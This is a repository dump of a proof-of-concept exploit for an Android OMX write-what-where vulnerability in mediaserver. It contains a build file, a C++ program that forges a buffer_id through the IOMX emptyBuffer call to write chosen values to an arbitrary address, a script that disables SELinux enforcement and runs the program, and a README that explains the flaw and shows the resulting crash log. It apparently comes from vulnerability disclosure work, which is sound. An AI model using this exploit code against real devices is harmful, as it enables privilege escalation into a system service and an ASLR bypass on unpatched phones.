├── test.sh ├── Android.mk ├── service.cpp └── README.md /test.sh: -------------------------------------------------------------------------------- 1 | mm 2 | adb push /home/ggong/develop/aosp/loliipop/out/target/product/hammerhead/symbols/system/bin/expomx /data/local/tmp/expomx 3 | if [ $# == 0 ]; then 4 | adb shell setenforce 0 5 | adb shell /data/local/tmp/expomx 6 | else 7 | adb shell su -c setenforce 0 8 | adb shell su -c gdbserver :6666 /data/local/tmp/expomx tt & 9 | adb forward tcp:5039 tcp:5039 10 | adb forward tcp:6666 tcp:6666 11 | gdbclient expomx :6666 12 | fi 13 | -------------------------------------------------------------------------------- /Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH:= $(call my-dir) 2 | include $(CLEAR_VARS) 3 | 4 | LOCAL_SRC_FILES:= \ 5 | service.cpp \ 6 | 7 | LOCAL_C_INCLUDES += external/stlport/stlport/ \ 8 | bionic \ 9 | bionic/libstdc++/include \ 10 | frameworks/av/include/ndk \ 11 | frameworks/av/include/media/stagefright/foundation/ \ 12 | frameworks/av/include/media/stagefright/ \ 13 | frameworks/native/include/media/openmax/ 14 | LOCAL_SHARED_LIBRARIES += libutils libbinder libmedia libcutils libgui libmediandk libstagefright libstagefright_foundation 15 | #LOCAL_STATIC_LIBRARIES += libmediandk 16 | LOCAL_LDLIBS += -lmediandk -lutils -lbinder -lmedia -lstagefright -lstagefright_foundation 17 | 18 | ifeq ($(TARGET_OS),linux) 19 | LOCAL_CFLAGS += -DXP_UNIX 20 | #LOCAL_SHARED_LIBRARIES += librt 21 | endif 22 | 23 | LOCAL_CFLAGS += -O0 24 | CFLAGS += -S 25 | 26 | LOCAL_MODULE:= expomx 27 | 28 | include $(BUILD_EXECUTABLE) 29 | -------------------------------------------------------------------------------- /service.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | namespace android{ 12 | #define EXPECT(condition, info) \ 13 | if (!(condition)) { \ 14 | ALOGE(info); printf("\n * " info "\n"); return -1; \ 15 | } 16 | 17 | #define EXPECT_SUCCESS(err, info) \ 18 | EXPECT((err) == OK, info " failed") 19 | class ExpOmx: public BnOMXObserver { 20 | public: 21 | ExpOmx(){}; 22 | int doExp(); 23 | void onMessage(const omx_message &msg); 24 | 25 | protected: 26 | virtual ~ExpOmx(){}; 27 | }; 28 | 29 | int ExpOmx::doExp(){ 30 | sp sm = defaultServiceManager(); 31 | sp binder = sm->getService(String16("media.player")); 32 | sp service = interface_cast(binder); 33 | sp omx = service->getOMX(); 34 | /*List componentInfos; 35 | status_t err = omx->listNodes(&componentInfos); 36 | EXPECT_SUCCESS(err, "listNodes"); 37 | for (List::iterator it = componentInfos.begin(); 38 | it != componentInfos.end(); ++it) { 39 | const IOMX::ComponentInfo &info = *it; 40 | const char *componentName = info.mName.string(); 41 | 42 | if (strncmp(componentName, "OMX.google.", 11)) { 43 | continue; 44 | } 45 | 46 | for (List::const_iterator role_it = info.mRoles.begin(); 47 | role_it != info.mRoles.end(); ++role_it) { 48 | const char *componentRole = (*role_it).string(); 49 | printf("%s,%s\n",componentName,componentRole); 50 | 51 | 52 | } 53 | }*/ 54 | IOMX::node_id node; 55 | status_t err = omx->allocateNode("OMX.google.mp3.decoder", this, &node); 56 | EXPECT_SUCCESS(err, "allocateNode"); 57 | uint32_t writed_address = 0xcccccccc; 58 | uint32_t writed_content1 = 0xdeadbeef; 59 | uint32_t writed_content2 = 0xbeafdead; 60 | err = omx->emptyBuffer(node,writed_address,writed_content1,writed_content2,0,0); 61 | return 0; 62 | } 63 | void ExpOmx::onMessage(const omx_message &msg){ 64 | printf("msg.type is %d, msg.node is %d",msg.type,msg.node); 65 | } 66 | 67 | } 68 | using namespace android; 69 | int main(){ 70 | ProcessState::self()->startThreadPool(); 71 | sp expomx= new ExpOmx(); 72 | expomx->doExp(); 73 | IPCThreadState::self()->joinThreadPool(); 74 | return 0; 75 | } 76 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # write-what-where plus heap address leaking in OMX 2 | (https://code.google.com/p/android/issues/detail?id=184600) 3 | This issue could be exploited to get mediaserver privileges by normal Apps. It's only exist in 32 bits system.the vulnerable code is as follows: 4 | http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/omx/OMXNodeInstance.cpp#1404 5 | 1404OMX::buffer_id OMXNodeInstance::makeBufferID(OMX_BUFFERHEADERTYPE *bufferHeader) { 6 | 1405 return (OMX::buffer_id)bufferHeader; 7 | 1406} 8 | 1407 9 | 1408OMX_BUFFERHEADERTYPE *OMXNodeInstance::findBufferHeader(OMX::buffer_id buffer) { 10 | 1409 return (OMX_BUFFERHEADERTYPE *)buffer; 11 | 1410} 12 | the buffer_id is used to identify a buffer, and will be passed to a remote process which connected to mediaserver by binder. the makeBufferID function simply convert a point to a buffer_id. the findBufferHeader function simply convert a buffer_id to a point. this type of implementation will lead to two problems: 13 | 1.leak a point to remote process, which may be used to bypass ASLR 14 | 2.remote process can fake a buffer_id and pass it to mediaserver, which can be used to write arbitrary value to arbitrary address. 15 | 16 | There are many ways to exploit this vulnerability. for example, we can call emptyBuffer function of IOMX interface in a normal app, which eventually will trigger the following functions to be called in mediaserver. 17 | 976status_t OMXNodeInstance::emptyBuffer( 18 | 977 OMX::buffer_id buffer, 19 | 978 OMX_U32 rangeOffset, OMX_U32 rangeLength, 20 | 979 OMX_U32 flags, OMX_TICKS timestamp) { 21 | 980 Mutex::Autolock autoLock(mLock); 22 | 981 23 | 982 OMX_BUFFERHEADERTYPE *header = findBufferHeader(buffer);----> simply convert id to point 24 | 983 header->nFilledLen = rangeLength; 25 | 984 header->nOffset = rangeOffset; 26 | 985 27 | 986 BufferMeta *buffer_meta = 28 | 987 static_cast(header->pAppPrivate); 29 | 988 buffer_meta->CopyToOMX(header); 30 | 989 31 | 990 return emptyBuffer_l(header, flags, timestamp, (intptr_t)buffer); 32 | 991} 33 | We can control all the arguments passed to OMXNodeInstance::emptyBuffer, so we can control the "header" point, we can control the value of rangeLength,rangeOffset which are written to fixed offsets to header. so we got write-what-where. 34 | 35 | a crash PoC is attached and the crash log is as follows,0xcccccccc,0xdeadbeaf,0xbeafdead is the values we set in the normal app: 36 | I/DEBUG ( 183): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 37 | I/DEBUG ( 183): Build fingerprint: 'Android/aosp_hammerhead/hammerhead:5.1/LMY47D/ggong06241753:userdebug/test-keys' 38 | I/DEBUG ( 183): Revision: '3' 39 | I/DEBUG ( 183): ABI: 'arm' 40 | I/DEBUG ( 183): pid: 190, tid: 848, name: Binder_2 >>> /system/bin/mediaserver <<< 41 | I/DEBUG ( 183): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xcccccce4 42 | I/DEBUG ( 183): r0 cccccccc r1 cccccccc r2 00000000 r3 beafdead 43 | I/DEBUG ( 183): r4 b6553cef r5 b587a280 r6 cccccccc r7 deadbeef 44 | I/DEBUG ( 183): r8 beafdead r9 beafdead sl cccccccc fp 0000002e 45 | I/DEBUG ( 183): ip b6562db4 sp b43ffbc0 lr b6555e6d pc b6555e6c cpsr 60070030 46 | I/DEBUG ( 183): 47 | I/DEBUG ( 183): backtrace: 48 | I/DEBUG ( 183): #00 pc 00013e6c /system/lib/libstagefright_omx.so (android::OMXNodeInstance::emptyBuffer(unsigned int, unsigned int, unsigned int, unsigned int, long long)+27) 49 | I/DEBUG ( 183): #01 pc 00067a85 /system/lib/libmedia.so (android::BnOMX::onTransact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+2100) 50 | I/DEBUG ( 183): #02 pc 0001a6cd /system/lib/libbinder.so (android::BBinder::transact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+60) 51 | I/DEBUG ( 183): #03 pc 0001f77b /system/lib/libbinder.so (android::IPCThreadState::executeCommand(int)+582) 52 | I/DEBUG ( 183): #04 pc 0001f89f /system/lib/libbinder.so (android::IPCThreadState::getAndExecuteCommand()+38) 53 | I/DEBUG ( 183): #05 pc 0001f8e1 /system/lib/libbinder.so (android::IPCThreadState::joinThreadPool(bool)+48) 54 | I/DEBUG ( 183): #06 pc 00023a5b /system/lib/libbinder.so 55 | I/DEBUG ( 183): #07 pc 000104d5 /system/lib/libutils.so (android::Thread::_threadLoop(void*)+112) 56 | I/DEBUG ( 183): #08 pc 00010045 /system/lib/libutils.so 57 | I/DEBUG ( 183): #09 pc 00016baf /system/lib/libc.so (__pthread_start(void*)+30) 58 | I/DEBUG ( 183): #10 pc 00014af3 /system/lib/libc.so (__start_thread+6) 59 | --------------------------------------------------------------------------------